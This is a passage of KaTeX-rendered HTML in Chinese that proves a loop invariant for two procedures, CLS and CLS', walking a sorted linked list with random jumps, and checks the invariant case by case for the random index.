style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，不变式成立。</p><p>假设第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 次循环开始时 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] \le key[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span> 成立，考虑第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 次生成的随机索引 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>：</p><ul><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 对两者都有效 (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">key[i_m] &lt; key[j] \le k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>)：<code>CLS</code> 会先跳到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>，然后执行 next，最终 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">i_{m+1} = next[j]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8679em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span></span></span></span>。而 <code>CLS'</code> 只跳到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mi>j</mi></mrow><annotation encoding="application/x-tex">i&#x27;_{m+1} = j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>。因为链表是递增的，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>=</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo stretchy="false">]</mo><mo>=</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_{m+1}] = key[j] &lt; key[next[j]] = key[i_{m+1}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，不变式成立。</p></li><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 对两者都无效 (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[j] \le key[i&#x27;_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span> 或 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>&gt;</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">key[j] &gt; k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>)：两者都不跳跃。<code>CLS</code> 仅执行 next (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">i_{m+1} = next[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8679em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>)，<code>CLS'</code> 原地不动 (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">i&#x27;_{m+1} = i&#x27;_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9989em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span>)。因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] \le key[i_m] &lt; key[next[i_m]]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]]</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_{m+1}] &lt; key[i_{m+1}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，不变式成立。</p></li><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 对 <code>CLS'</code> 有效，对 <code>CLS</code> 无效 (正如你分析的)：说明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] &lt; key[j] \le key[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" 